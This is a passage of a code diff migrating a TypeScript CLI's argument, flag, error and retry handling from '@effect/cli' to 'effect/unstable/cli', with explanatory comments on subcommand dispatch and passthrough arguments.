13 + * `effect/unstable/cli` keeps the selected subcommand private to the parent's dispatcher, so the
14 + * hook is attached per subcommand (each sees its own parsed input) plus the root itself for the
15 + * no-subcommand path, before the tree is assembled with `Command.withSubcommands`.
16 */
17 export const withBackgroundUpdateCheck = <
32 - Name extends string,
33 - R,
18 + const Name extends string,
19 + Input,
20 + ContextInput,
21 E,
35 - Input extends RootCommandInput,
22 + R,
23 + const Subcommands extends ReadonlyArray<Command.Command.Any>,
24 >(
37 - command: Command.Command<Name, R, E, Input>,
25 + root: Command.Command<Name, Input, ContextInput, E, R>,
26 + subcommands: Subcommands,
27 start: () => void = checkForUpdateInBackground
39 -): Command.Command<Name, R, E, Input> =>
40 - command.pipe(
41 - Command.provideEffectDiscard(({ subcommand }) =>
42 - isExplicitVersionCheck(subcommand) ? Effect.void : Effect.sync(start)
28 +) => {
29 + const startInBackground = Effect.sync(start);
30 + const guarded = subcommands.map(subcommand =>
31 + subcommand.pipe(
32 + Command.provideEffectDiscard((input: unknown) =>
33 + isExplicitVersionCheck(subcommand.name, input) ? Effect.void : startInBackground
34 + )
35 )
36 + ) as unknown as Subcommands;
37 +
38 + return root.pipe(
39 + Command.provideEffectDiscard(startInBackground),
40 + Command.withSubcommands(guarded)
41 );
42 +};
ts/packages/cli/src/commands/command-introspection.ts deleted
-94
@@ -1,94 +0,0 @@
1 -import { Array as Arr, Effect, HashMap, HashSet, Match, Option } from 'effect';
2 -import { CliConfig, CommandDescriptor, Usage } from '@effect/cli';
3 -import { ComposioCliConfig } from 'src/cli-config';
4 -
5 -/**
6 - * The only module in `src/` allowed to import `CommandDescriptor` or `Usage`
7 - * from `@effect/cli`. Those modules are the redesign seam for Effect CLI v4's
8 - * public command tree, so every descriptor walk must stay behind the small
9 - * CLI-domain-shaped operations exported here — the v4 migration should only
10 - * ever reimplement this file. An Oxlint `no-restricted-imports` override in
11 - * the repo-root `.oxlintrc.json` keeps the seam sealed.
12 - */
13 -
14 -export type AnyCommandDescriptor = CommandDescriptor.Command<unknown>;
15 -
16 -export type AnyCommand = { readonly descriptor: AnyCommandDescriptor };
17 -
18 -const collectValueOptionNamesFromUsage = (usage: Usage.Usage, acc: Set<string>): void =>
19 - Match.valueTags(usage, {
20 - Named: usage => {
21 - if (Option.isSome(usage.acceptedValues)) {
22 - for (const name of usage.names) {
23 - if (name.startsWith('-')) {
24 - acc.add(name);
25 - }
26 - }
27 - }
28 - },
29 - Optional: usage => {
30 - collectValueOptionNamesFromUsage(usage.usage, acc);
31 - },
32 - Repeated: usage => {
33 - collectValueOptionNamesFromUsage(usage.usage, acc);
34 - },
35 - Alternation: usage => {
36 - collectValueOptionNamesFromUsage(usage.left, acc);
37 - collectValueOptionNamesFromUsage(usage.right, acc);
38 - },
39 - Concat: usage => {
40 - collectValueOptionNamesFromUsage(usage.left, acc);
41 - collectValueOptionNamesFromUsage(usage.right, acc);
42 - },
43 - Mixed: () => undefined,
44 - Empty: () => undefined,
45 - });
46 -
47 -/**
48 - * Collects the names of every flag that accepts a value (e.g. `--org`)
49 - * across the whole command tree, so the top-level error handler can print
50 - * a "Tip: --flag requires a value" hint on unknown-argument failures.
51 - */
52 -export const collectValueOptionNames = (command: AnyCommand): ReadonlySet<string> => {
53 - const names = new Set<string>();
54 - const visited = new Set<AnyCommandDescriptor>();
55 - const visit = (descriptor: AnyCommandDescriptor) => {
56 - if (visited.has(descriptor)) {
57 - return;
58 - }
59 - visited.add(descriptor);
60 - collectValueOptionNamesFromUsage(CommandDescriptor.getUsage(descriptor), names);
61 - for (const [, subcommand] of HashMap.toEntries(CommandDescriptor.getSubcommands(descriptor))) {
62 - visit(subcommand);
63 - }
64 - };
65 - visit(command.descriptor);
66 - return names;
67 -};
68 -
69 -/** Whether `name` is one of the names the command itself answers to. */
70 -export const hasCommandName = (command: AnyCommand, name: string): boolean =>
71 - HashSet.has(CommandDescriptor.getNames(command.descriptor), name);
72 -
73 -/**
74 - * Lists the names of a command's direct subcommands, excluding the
75 - * command's own names (the descriptor's subcommand map includes those).
76 - */
77 -export const listSubcommandNames = (descriptor: AnyCommandDescriptor): ReadonlyArray<string> => {
78 - const ownNames = CommandDescriptor.getNames(descriptor);
79 - return Array.from(HashMap.keys(CommandDescriptor.getSubcommands(descriptor))).filter(
80 - name => !HashSet.has(ownNames, name)
81 - );
82 -};
83 -
84 -/**
85 - * Parses `argv` (a full `process.argv`) against the command tree without
86 - * running it, using the CLI's own config — a pre-flight check that surfaces
87 - * `ValidationError`s (e.g. command mismatches) before the command executes.
88 - */
89 -export const preflightParse = (command: AnyCommand, argv: ReadonlyArray<string>) =>
90 - CommandDescriptor.parse(
91 - command.descriptor,
92 - Arr.prepend(Arr.drop(argv, 2), 'composio'),
93 - CliConfig.make(ComposioCliConfig)
94 - ).pipe(Effect.asVoid);
ts/packages/cli/src/commands/config/config.cmd.ts
+1 -1
@@ -1,4 +1,4 @@
1 -import { Command } from '@effect/cli';
1 +import { Command } from 'effect/unstable/cli';
2 import { configExperimentalCmd } from './config.experimental.cmd';
3
4 export const configCmd = Command.make('config').pipe(
ts/packages/cli/src/commands/config/config.experimental.cmd.ts
+17 -10
@@ -1,5 +1,5 @@
1 -import { Args, Command, HelpDoc, ValidationError } from '@effect/cli';
2 -import { Effect, Option } from 'effect';
1 +import { Data, Effect, Option } from 'effect';
2 +import { Argument, Command } from 'effect/unstable/cli';
3 import { ComposioCliUserConfig } from 'src/services/cli-user-config';
4 import { TerminalUI } from 'src/services/terminal-ui';
5 import { NodeOs } from 'src/services/node-os';
@@ -10,14 +10,20 @@ import type { SkillFeatureFlag } from '../../../skills-src/composio-cli/referenc
10
11 const knownFeatures: ReadonlyArray<SkillFeatureFlag> = Object.values(CLI_EXPERIMENTAL_FEATURES);
12
13 -const featureArg = Args.text({ name: 'feature' }).pipe(
14 - Args.withDescription(`Experimental feature name. Known features: ${knownFeatures.join(', ')}`),
15 - Args.optional
13 +class ConfigOptionError extends Data.TaggedError('commands/ConfigOptionError')<{
14 + readonly message: string;
15 +}> {}
16 +
17 +const featureArg = Argument.string('feature').pipe(
18 + Argument.withDescription(
19 + `Experimental feature name. Known features: ${knownFeatures.join(', ')}`
20 + ),
21 + Argument.optional
22 );
23
18 -const stateArg = Args.text({ name: 'state' }).pipe(
19 - Args.withDescription('Set to "on" or "off"'),
20 - Args.optional
24 +const stateArg = Argument.string('state').pipe(
25 + Argument.withDescription('Set to "on" or "off"'),
26 + Argument.optional
27 );
28
29 const rebuildSkill = Effect.gen(function* () {
@@ -97,9 +103,10 @@ export const configExperimentalCmd = Command.make(
103
104 const stateValue = state.value.toLowerCase();
105 if (stateValue !== 'on' && stateValue !== 'off') {
100 - yield* ui.log.error(`Invalid state "${state.value}". Use "on" or "off".`);
106 return yield* Effect.fail(
102 - ValidationError.invalidValue(HelpDoc.p(`Invalid state: ${state.value}`))
107 + new ConfigOptionError({
108 + message: `Invalid state "${state.value}". Use "on" or "off".`,
109 + })
110 );
111 }
112
ts/packages/cli/src/commands/connected-accounts/commands/connected-accounts.info.cmd.ts
+4 -4
@@ -1,4 +1,4 @@
1 -import { Args, Command } from '@effect/cli';
1 +import { Argument, Command } from 'effect/unstable/cli';
2 import { Effect, Option } from 'effect';
3 import { ComposioToolkitsRepository } from 'src/services/composio-clients';
4 import { TerminalUI } from 'src/services/terminal-ui';
@@ -6,9 +6,9 @@ import { requireAuth } from 'src/effects/require-auth';
6 import { handleHttpServerError } from 'src/effects/handle-http-error';
7 import { formatConnectedAccountInfo } from '../format';
8
9 -const id = Args.text({ name: 'id' }).pipe(
10 - Args.withDescription('Connected account ID (nanoid)'),
11 - Args.optional
9 +const id = Argument.string('id').pipe(
10 + Argument.withDescription('Connected account ID (nanoid)'),
11 + Argument.optional
12 );
13
14 /**
ts/packages/cli/src/commands/connected-accounts/commands/connected-accounts.link.cmd.ts
+53 -36
@@ -1,4 +1,4 @@
1 -import { Args, Command, HelpDoc, Options, ValidationError } from '@effect/cli';
1 +import { Argument, Command, Flag } from 'effect/unstable/cli';
2 import { Data, Effect, Option, Schedule } from 'effect';
3 import type { Composio as RawComposioClient } from '@composio/client';
4 import open from 'open';
@@ -56,48 +56,64 @@ class BrowserOpenError extends Data.TaggedError('commands/BrowserOpenError')<{
56 readonly cause: unknown;
57 }> {}
58
59 -const invalidOptionValue = (message: string) => ValidationError.invalidValue(HelpDoc.p(message));
59 +/**
60 + * Business-level validation failure for `link` inputs that are only
61 + * knowable after parsing (e.g. an `--alias` that is empty after trimming,
62 + * or an option combination that's invalid for this command variant).
63 + *
64 + * v3 raised these via `ValidationError.invalidValue`, which piggybacked on
65 + * `@effect/cli`'s parse-error rendering. v4's `CliError.InvalidValue` always
66 + * renders a fixed, option-specific template (see `CliError.ts`) that can't
67 + * carry a free-form message, so these are modeled as an ordinary typed
68 + * domain error instead and rendered through the same `effect-errors` path
69 + * as this file's other business errors (`ConnectionPollingError`, etc.).
70 + */
71 +class LinkInputError extends Data.TaggedError('commands/LinkInputError')<{
72 + readonly message: string;
73 +}> {}
74 +
75 +const invalidOptionValue = (message: string) => new LinkInputError({ message });
76
61 -const toolkit = Args.text({ name: 'toolkit' }).pipe(
62 - Args.withDescription('Toolkit slug to link (e.g. "github", "gmail")'),
63 - Args.optional
77 +const toolkit = Argument.string('toolkit').pipe(
78 + Argument.withDescription('Toolkit slug to link (e.g. "github", "gmail")'),
79 + Argument.optional
80 );
81
66 -const authConfig = Options.text('auth-config').pipe(
67 - Options.withDescription('Auth config ID (e.g. "ac_..."). Uses legacy flow (no Tool Router).'),
68 - Options.optional
82 +const authConfig = Flag.string('auth-config').pipe(
83 + Flag.withDescription('Auth config ID (e.g. "ac_..."). Uses legacy flow (no Tool Router).'),
84 + Flag.optional
85 );
86
71 -const userId = Options.text('user-id').pipe(
72 - Options.withDescription('Developer-project user ID override'),
73 - Options.optional
87 +const userId = Flag.string('user-id').pipe(
88 + Flag.withDescription('Developer-project user ID override'),
89 + Flag.optional
90 );
91
76 -const projectName = Options.text('project-name').pipe(
77 - Options.optional,
78 - Options.withDescription('Developer project name override for this command')
92 +const projectName = Flag.string('project-name').pipe(
93 + Flag.optional,
94 + Flag.withDescription('Developer project name override for this command')
95 );
96
81 -const noWait = Options.boolean('no-wait').pipe(
82 - Options.withDefault(false),
83 - Options.withDescription('Do not wait for authorization; only print link info')
97 +const noWait = Flag.boolean('no-wait').pipe(
98 + Flag.withDefault(false),
99 + Flag.withDescription('Do not wait for authorization; only print link info')
100 );
101
86 -const noBrowser = Options.boolean('no-browser').pipe(
87 - Options.withDefault(false),
88 - Options.withDescription('Do not open the browser automatically; print the URL to open manually')
102 +const noBrowser = Flag.boolean('no-browser').pipe(
103 + Flag.withDefault(false),
104 + Flag.withDescription('Do not open the browser automatically; print the URL to open manually')
105 );
106
91 -const alias = Options.text('alias').pipe(
92 - Options.withDescription(
107 +const alias = Flag.string('alias').pipe(
108 + Flag.withDescription(
109 'Alias to assign to the connected account. Required when creating an additional account for the same toolkit/auth config.'
110 ),
95 - Options.optional
111 + Flag.optional
112 );
113
98 -const list = Options.boolean('list').pipe(
99 - Options.withDefault(false),
100 - Options.withDescription(
114 +const list = Flag.boolean('list').pipe(
115 + Flag.withDefault(false),
116 + Flag.withDescription(
117 'List existing connected accounts for the toolkit instead of creating a new link'
118 )
119 );
@@ -173,9 +189,10 @@ const waitForActiveConnection = (
189 status: account.status,
190 });
191 }),
176 - Schedule.exponential('0.3 seconds').pipe(
177 - Schedule.intersect(Schedule.recurs(15)),
178 - Schedule.intersect(Schedule.spaced('5 seconds'))
192 + // Retries with the max delay of a 0.3s exponential ramp and a flat 5s spacing,
193 + // capped at 15 attempts.
194 + Schedule.max([Schedule.exponential('0.3 seconds'), Schedule.spaced('5 seconds')]).pipe(
195 + Schedule.upTo({ times: 15 })
196 )
197 ).pipe(
198 Effect.tap(account => {
@@ -240,7 +257,7 @@ const handleNoManagedAuth = (ui: TerminalUI, toolkitSlug: string, noBrowser: boo
257 baseURL: userContext.data.baseURL,
258 userApiKey: apiKey,
259 orgId: Option.getOrUndefined(userContext.data.orgId),
243 - }).pipe(Effect.catchAll(() => Effect.succeed(null)));
260 + }).pipe(Effect.catch(() => Effect.succeed(null)));
261
262 if (sessionInfo) {
263 yield* linkApolloIdentityForAnalytics(sessionInfo.org_member.id, apiKey);
@@ -448,7 +465,7 @@ const resolveLinkUserId = (params: {
465
466 const resolvedUserId =
467 params.resolvedProject.projectType === 'CONSUMER'
451 - ? Option.fromNullable(params.resolvedProject.consumerUserId)
468 + ? Option.fromNullishOr(params.resolvedProject.consumerUserId)
469 : Option.match(params.requestedUserId, {
470 onSome: value => Option.some(value),
471 onNone: () => Option.orElse(localTestUserId, () => params.userContext.data.testUserId),
@@ -659,7 +676,7 @@ const handleLegacyAuthConfigLink = (params: {
676 }).pipe(
677 // Auxiliary fetch powering the --alias hint only: a transient list
678 // failure must not abort the link flow.
662 - Effect.catchAll(() => Effect.succeed({ items: [] }))
679 + Effect.catch(() => Effect.succeed({ items: [] }))
680 );
681 const aliasAvailable = yield* ensureAliasIsAvailable({
682 ui: params.ui,
@@ -689,7 +706,7 @@ const handleLegacyAuthConfigLink = (params: {
706 )
707 .pipe(
708 Effect.asSome,
692 - Effect.catchAll(error =>
709 + Effect.catch(error =>
710 Effect.gen(function* () {
711 const message =
712 extractMessage(error) ??
@@ -836,7 +853,7 @@ const runConnectedAccountsLink = (params: {
853 }).pipe(Effect.mapError(formatResolveCommandProjectError));
854 const resolvedUserId =
855 resolvedProject.projectType === 'CONSUMER'
839 - ? Option.fromNullable(resolvedProject.consumerUserId)
856 + ? Option.fromNullishOr(resolvedProject.consumerUserId)
857 : Option.match(params.userId, {
858 onSome: value => Option.some(value),
859 onNone: () => userContext.data.testUserId,
@@ -859,7 +876,7 @@ const runConnectedAccountsLink = (params: {
876 }).pipe(
877 // Auxiliary fetch powering the --alias hint only: a transient list
878 // failure must not abort the link flow.
862 - Effect.catchAll(() => Effect.succeed({ items: [] }))
879 + Effect.catch(() => Effect.succeed({ items: [] }))
880 );
881 const aliasAvailable = yield* ensureAliasIsAvailable({
882 ui,
@@ -902,7 +919,7 @@ const runConnectedAccountsLink = (params: {
919 )
920 .pipe(
921 Effect.asSome,
905 - Effect.catchAll(error =>
922 + Effect.catch(error =>
923 Effect.gen(function* () {
924 const slug = extractSlug(error);
925
ts/packages/cli/src/commands/connected-accounts/commands/connected-accounts.list.cmd.ts
+12 -14
@@ -1,4 +1,4 @@
1 -import { Command, Options } from '@effect/cli';
1 +import { Command, Flag } from 'effect/unstable/cli';
2 import { Data, Effect, Option } from 'effect';
3 import type { ConnectedAccountListParams } from '@composio/client/resources/connected-accounts';
4 import { ComposioClientSingleton } from 'src/services/composio-clients';
@@ -20,19 +20,17 @@ class ConnectedAccountsListRequestError extends Data.TaggedError(
20 readonly cause: unknown;
21 }> {}
22
23 -const toolkits = Options.text('toolkits').pipe(
24 - Options.withDescription(
25 - 'Filter by toolkit slugs, comma-separated (e.g. "gmail" or "gmail,slack")'
26 - ),
27 - Options.optional
23 +const toolkits = Flag.string('toolkits').pipe(
24 + Flag.withDescription('Filter by toolkit slugs, comma-separated (e.g. "gmail" or "gmail,slack")'),
25 + Flag.optional
26 );
27
30 -const userId = Options.text('user-id').pipe(
31 - Options.withDescription('Filter by user ID'),
32 - Options.optional
28 +const userId = Flag.string('user-id').pipe(
29 + Flag.withDescription('Filter by user ID'),
30 + Flag.optional
31 );
32
35 -const status = Options.choice('status', [
33 +const status = Flag.choice('status', [
34 'INITIALIZING',
35 'INITIATED',
36 'ACTIVE',
@@ -40,11 +38,11 @@ const status = Options.choice('status', [
38 'EXPIRED',
39 'INACTIVE',
40 'REVOKED',
43 -] as const).pipe(Options.withDescription('Filter by connection status'), Options.optional);
41 +] as const).pipe(Flag.withDescription('Filter by connection status'), Flag.optional);
42
45 -const limit = Options.integer('limit').pipe(
46 - Options.withDefault(30),
47 - Options.withDescription('Number of results per page (1-1000)')
43 +const limit = Flag.integer('limit').pipe(
44 + Flag.withDefault(30),
45 + Flag.withDescription('Number of results per page (1-1000)')
46 );
47
48 /**
ts/packages/cli/src/commands/connected-accounts/commands/connected-accounts.whoami.cmd.ts
+4 -4
@@ -1,4 +1,4 @@
1 -import { Args, Command } from '@effect/cli';
1 +import { Argument, Command } from 'effect/unstable/cli';
2 import { Effect, Option } from 'effect';
3 import { ComposioToolkitsRepository } from 'src/services/composio-clients';
4 import { TerminalUI } from 'src/services/terminal-ui';
@@ -6,9 +6,9 @@ import { requireAuth } from 'src/effects/require-auth';
6 import { handleHttpServerError } from 'src/effects/handle-http-error';
7 import { formatConnectedAccountWhoami } from '../format';
8
9 -const id = Args.text({ name: 'id' }).pipe(
10 - Args.withDescription('Connected account ID (nanoid)'),
11 - Args.optional
9 +const id = Argument.string('id').pipe(
10 + Argument.withDescription('Connected account ID (nanoid)'),
11 + Argument.optional
12 );
13
14 /**
ts/packages/cli/src/commands/connected-accounts/connected-accounts.cmd.ts
+1 -1
@@ -1,4 +1,4 @@
1 -import { Command } from '@effect/cli';
1 +import { Command } from 'effect/unstable/cli';
2 import { connectedAccountsCmd$List } from './commands/connected-accounts.list.cmd';
3 import { connectedAccountsCmd$Info } from './commands/connected-accounts.info.cmd';
4 import { connectedAccountsCmd$Whoami } from './commands/connected-accounts.whoami.cmd';
ts/packages/cli/src/commands/connections/commands/connections.list.cmd.ts
+4 -4
@@ -1,5 +1,5 @@
1 -import { Command, Options } from '@effect/cli';
1 import { Data, Effect, Option } from 'effect';
2 +import { Command, Flag } from 'effect/unstable/cli';
3 import { decodeConnectedAccountListWithFallback } from 'src/effects/decode-connected-account-list';
4 import { requireAuth } from 'src/effects/require-auth';
5 import type { ConnectedAccountItem } from 'src/models/connected-accounts';
@@ -25,9 +25,9 @@ class ConnectionsListRequestError extends Data.TaggedError('commands/Connections
25 readonly cause: unknown;
26 }> {}
27
28 -const toolkit = Options.text('toolkit').pipe(
29 - Options.withDescription('Filter by toolkit slug (e.g. "gmail")'),
30 - Options.optional
28 +const toolkit = Flag.string('toolkit').pipe(
29 + Flag.withDescription('Filter by toolkit slug (e.g. "gmail")'),
30 + Flag.optional
31 );
32
33 const formatConnectionsJson = (
ts/packages/cli/src/commands/connections/commands/connections.remove.cmd.ts
+5 -3
@@ -1,5 +1,5 @@
1 -import { Args, Command } from '@effect/cli';
1 import { Data, Effect } from 'effect';
2 +import { Argument, Command } from 'effect/unstable/cli';
3 import { decodeConnectedAccountListWithFallback } from 'src/effects/decode-connected-account-list';
4 import { requireAuth } from 'src/effects/require-auth';
5 import type { ConnectedAccountItem } from 'src/models/connected-accounts';
@@ -25,8 +25,10 @@ class ConnectionsRemovalRequestError extends Data.TaggedError(
25 readonly cause: unknown;
26 }> {}
27
28 -const account = Args.text({ name: 'account' }).pipe(
29 - Args.withDescription('Connection selector: toolkit slug, alias, word_id, or connected account ID')
28 +const account = Argument.string('account').pipe(
29 + Argument.withDescription(
30 + 'Connection selector: toolkit slug, alias, word_id, or connected account ID'
31 + )
32 );
33
34 const normalizeSelector = (value: string): string => value.trim().toLowerCase();
ts/packages/cli/src/commands/connections/connections.cmd.ts
+1 -1
@@ -1,4 +1,4 @@
1 -import { Command } from '@effect/cli';
1 +import { Command } from 'effect/unstable/cli';
2 import { connectionsCmd$List } from './commands/connections.list.cmd';
3 import { connectionsCmd$Remove } from './commands/connections.remove.cmd';
4
ts/packages/cli/src/commands/dev.cmd.ts
+4 -4
@@ -1,4 +1,4 @@
1 -import { Command, Options } from '@effect/cli';
1 +import { Command, Flag } from 'effect/unstable/cli';
2 import { Effect, Option } from 'effect';
3 import { initCmd } from './init.cmd';
4 import { triggersCmd$Listen } from './triggers/commands/triggers.listen.cmd';
@@ -15,9 +15,9 @@ import { Stdin } from 'src/services/stdin';
15 import { TerminalUI } from 'src/services/terminal-ui';
16 import type { CommandVisibility } from './feature-tags';
17
18 -const devMode = Options.choice('mode', ['on', 'off'] as const).pipe(
19 - Options.withDescription('Set developer mode on or off.'),
20 - Options.optional
18 +const devMode = Flag.choice('mode', ['on', 'off'] as const).pipe(
19 + Flag.withDescription('Set developer mode on or off.'),
20 + Flag.optional
21 );
22
23 export const devSubcommands = [
ts/packages/cli/src/commands/dev/dev.native-ui.cmd.ts
+12 -12
@@ -1,4 +1,4 @@
1 -import { Command, Options } from '@effect/cli';
1 +import { Command, Flag } from 'effect/unstable/cli';
2 import { Data, Effect, Option, Predicate } from 'effect';
3 import { ensureBundledBinaryExecutable } from '@composio/cli-local-tools';
4 import { spawnDetached } from 'src/services/detached-process';
@@ -10,23 +10,23 @@ class NativeUiSetupError extends Data.TaggedError('commands/NativeUiSetupError')
10 readonly cause: unknown;
11 }> {}
12
13 -const title = Options.text('title').pipe(
14 - Options.withDefault('Composio'),
15 - Options.withDescription('Title for the native sidecar window.')
13 +const title = Flag.string('title').pipe(
14 + Flag.withDefault('Composio'),
15 + Flag.withDescription('Title for the native sidecar window.')
16 );
17
18 -const message = Options.text('message').pipe(
19 - Options.withDefault('Native UI sidecar scaffold'),
20 - Options.withDescription('Primary text displayed in the native sidecar window.')
18 +const message = Flag.string('message').pipe(
19 + Flag.withDefault('Native UI sidecar scaffold'),
20 + Flag.withDescription('Primary text displayed in the native sidecar window.')
21 );
22
23 -const detail = Options.text('detail').pipe(
24 - Options.withDefault('This window is rendered by a Swift sidecar bundled with the CLI.'),
25 - Options.withDescription('Secondary text displayed in the native sidecar window.')
23 +const detail = Flag.string('detail').pipe(
24 + Flag.withDefault('This window is rendered by a Swift sidecar bundled with the CLI.'),
25 + Flag.withDescription('Secondary text displayed in the native sidecar window.')
26 );
27
28 -const timeout = Options.optional(Options.text('timeout')).pipe(
29 - Options.withDescription('Optional auto-close timeout in seconds.')
28 +const timeout = Flag.optional(Flag.string('timeout')).pipe(
29 + Flag.withDescription('Optional auto-close timeout in seconds.')
30 );
31
32 export const devNativeUiCmd = Command.make('native-ui', { title, message, detail, timeout }).pipe(
ts/packages/cli/src/commands/generate/generate.cmd.ts
+11 -12
@@ -1,4 +1,4 @@
1 -import { Command, Options } from '@effect/cli';
1 +import { Command, Flag } from 'effect/unstable/cli';
2 import { Effect, Match, Option } from 'effect';
3 import { ProjectEnvironmentDetector } from 'src/services/project-environment-detector';
4 import { NodeProcess } from 'src/services/node-process';
@@ -8,22 +8,21 @@ import { generatePythonTypeStubs } from '../py/commands/py.generate.cmd';
8 import { generateCmd$Py } from './generate.py.cmd';
9 import { generateCmd$Ts } from './generate.ts.cmd';
10
11 -const outputOpt = Options.optional(
12 - Options.directory('output-dir', {
13 - exists: 'either',
14 - })
15 -).pipe(Options.withAlias('o'), Options.withDescription('Output directory for type stubs'));
11 +const outputOpt = Flag.optional(Flag.directory('output-dir')).pipe(
12 + Flag.withAlias('o'),
13 + Flag.withDescription('Output directory for type stubs')
14 +);
15
17 -const typeTools = Options.boolean('type-tools').pipe(
18 - Options.withDefault(false),
19 - Options.withDescription(
16 +const typeTools = Flag.boolean('type-tools').pipe(
17 + Flag.withDefault(false),
18 + Flag.withDescription(
19 'Generate typed input/output schemas for each tool (TypeScript only, slower)'
20 )
21 );
22
24 -const toolkitsOpt = Options.text('toolkits').pipe(
25 - Options.repeated,
26 - Options.withDescription(
23 +const toolkitsOpt = Flag.string('toolkits').pipe(
24 + Flag.atLeast(0),
25 + Flag.withDescription(
26 'Only generate types for specific toolkits (e.g., --toolkits gmail --toolkits slack)'
27 )
28 );
ts/packages/cli/src/commands/generate/generate.py.cmd.ts
+1 -1
@@ -1,4 +1,4 @@
1 -import { Command } from '@effect/cli';
1 +import { Command } from 'effect/unstable/cli';
2 import { generatePythonTypeStubs, outputOpt, toolkitsOpt } from '../py/commands/py.generate.cmd';
3
4 /**
ts/packages/cli/src/commands/generate/generate.ts.cmd.ts
+1 -1
@@ -1,4 +1,4 @@
1 -import { Command } from '@effect/cli';
1 +import { Command } from 'effect/unstable/cli';
2 import {
3 outputOpt,
4 compact,
ts/packages/cli/src/commands/index.ts
+159 -81
@@ -1,12 +1,6 @@
1 -import { Array as Arr, Data, Effect, HashSet, Layer, Option } from 'effect';
2 -import { Command, HelpDoc, ValidationError } from '@effect/cli';
3 -import {
4 - hasCommandName,
5 - listSubcommandNames,
6 - preflightParse,
7 - type AnyCommandDescriptor,
8 -} from './command-introspection';
9 -import { $defaultCmd } from './$default.cmd';
1 +import { Array as Arr, Console, Data, Effect, HashSet, Layer, Option } from 'effect';
2 +import { Command } from 'effect/unstable/cli';
3 +import { $defaultCmd, withRootLogLevel } from './$default.cmd';
4 import { getVersion } from 'src/effects/version';
5 import { versionCmd } from './version.cmd';
6 import { upgradeCmd } from './upgrade.cmd';
@@ -16,13 +10,18 @@ import { signupCmd } from './signup.cmd';
10 import { setupCmd } from './setup.cmd';
11 import { listenCmd } from './listen.cmd';
12 import { logoutCmd } from './logout.cmd';
19 -import { runCmd } from './run.cmd';
13 +import {
14 + RUN_KNOWN_BOOLEAN_FLAGS,
15 + RUN_KNOWN_VALUE_FLAGS,
16 + RunPassthroughArgs,
17 + runCmd,
18 +} from './run.cmd';
19 import { proxyCmd } from './proxy.cmd';
20 import { artifactsCmd } from './artifacts.cmd';
21 import { installCmd } from './install.cmd';
22 import { localToolsCmd } from './local-tools/local-tools.cmd';
23 import { generateCmd } from './generate/generate.cmd';
25 -import { buildDevCommand, devSubcommands } from './dev.cmd';
24 +import { buildDevCommand } from './dev.cmd';
25 import {
26 runParallelToolsExecuteFromArgv,
27 showToolsExecuteInputHelp,
@@ -95,7 +94,7 @@ const getVisibleRootCommands = (visibility: CommandVisibility) => {
94 };
95
96 export const buildRootCommand = (visibility: CommandVisibility) =>
98 - $defaultCmd.pipe(Command.withSubcommands(getVisibleRootCommands(visibility)));
97 + $defaultCmd.pipe(Command.withSubcommands(getVisibleRootCommands(visibility)), withRootLogLevel);
98
99 const ROOT_INSTALL_SKILL_FLAGS = HashSet.make('--install-skill', '--instal-skill');
100 const SKILL_INSTALL_TARGETS: ReadonlyArray<SkillInstallTarget> = ['claude', 'codex', 'openclaw'];
@@ -165,57 +164,12 @@ export const parseRootInstallSkillRequest = (
164 onSome: values => Effect.map(parseRootInstallSkillValues(values), Option.some),
165 });
166
168 -const scopeCommandMismatch = (
169 - commandPath: string,
170 - descriptor: AnyCommandDescriptor,
171 - error: unknown
172 -) => {
173 - if (!ValidationError.isValidationError(error) || !ValidationError.isCommandMismatch(error)) {
174 - return error;
175 - }
176 - const childNames = listSubcommandNames(descriptor).map(name => `'${name}'`);
177 - if (childNames.length === 0) return error;
178 -
179 - const oneOf = childNames.length === 1 ? '' : ' one of';
180 - return ValidationError.commandMismatch(
181 - HelpDoc.p(
182 - `Invalid subcommand for composio ${commandPath} - use${oneOf} ${childNames.join(', ')}`
183 - )
184 - );
185 -};
186 -
187 -const refineRootCommandMismatch = (
188 - argv: ReadonlyArray<string>,
189 - visibility: CommandVisibility,
190 - originalError: ValidationError.ValidationError
191 -) => {
192 - const rootCommandName = argv[2];
193 - if (!rootCommandName || !ValidationError.isCommandMismatch(originalError)) {
194 - return Effect.fail(originalError);
195 - }
196 -
197 - const rootCommand = Arr.findFirst(getVisibleRootCommands(visibility), command =>
198 - hasCommandName(command, rootCommandName)
199 - );
200 - if (Option.isNone(rootCommand)) {
201 - return Effect.fail(originalError);
202 - }
203 -
204 - const nestedCommandName = argv[3];
205 - const nestedDevCommand =
206 - rootCommandName === 'dev' && visibility.isDevModeEnabled && nestedCommandName
207 - ? Arr.findFirst(devSubcommands, command => hasCommandName(command, nestedCommandName))
208 - : Option.none();
209 - const descriptor = Option.match(nestedDevCommand, {
210 - onNone: () => rootCommand.value.descriptor,
211 - onSome: command => command.descriptor,
212 - });
213 - const commandPath = Option.isSome(nestedDevCommand)
214 - ? `${rootCommandName} ${nestedCommandName}`
215 - : rootCommandName;
216 -
217 - return Effect.fail(scopeCommandMismatch(commandPath, descriptor, originalError));
218 -};
167 +// v4 note: v3 pre-flight parsed `argv` to rewrite `ValidationError.CommandMismatch` messages
168 +// (`scopeCommandMismatch` / `refineRootCommandMismatch`) before `Command.run` rendered them, using
169 +// the private `CommandDescriptor` tree. `effect/unstable/cli`'s
170 +// `Command.runWith` renders its own unknown-subcommand messaging (naming the resolved command's
171 +// actual subcommands) internally before re-failing with `CliError.ShowHelp`, so `routeRootCommand`
172 +// below now always delegates straight to `run` instead of pre-flight parsing and rewriting errors.
173
174 export const parseExecuteInputHelpSlug = (argv: ReadonlyArray<string>): string | undefined => {
175 const args = Arr.drop(argv, 2);
@@ -284,6 +238,102 @@ const normalizeListenStreamFlag = (argv: ReadonlyArray<string>): ReadonlyArray<s
238 );
239 };
240
241 +// `composio run` forwards arbitrary flag-looking tokens straight through to
242 +// the user's script (`composio run 'code' --flag value`, or
243 +// `--file s.ts -- --flag value`), but v4's CLI lexer
244 +// (`effect/unstable/cli/internal/lexer.ts`) treats every `-`-prefixed token
245 +// as an option candidate unless it follows a literal `--`, and (see
246 +// `internal/parser.ts`'s `parseArgs`) that `--` split is computed once for
247 +// the whole argv and only reaches the *first* command level parsed — a
248 +// subcommand's own recursive `parseArgs` call is always given
249 +// `trailingOperands: []`, so trailing operands after `--` never reach a
250 +// subcommand's `Argument.variadic()` no matter how the tokens are escaped.
251 +//
252 +// So rather than smuggle passthrough tokens through the parser, the split
253 +// below removes them from the argv handed to the CLI parser entirely and
254 +// returns them out-of-band as `tail`. `runWithConfig` provides `tail` to
255 +// `run.cmd.ts`'s `RunPassthroughArgs` reference for the scope of a single
256 +// invocation; the `run` handler reads it directly instead of relying on its
257 +// own `Argument.variadic()`, which never sees these tokens for a real CLI
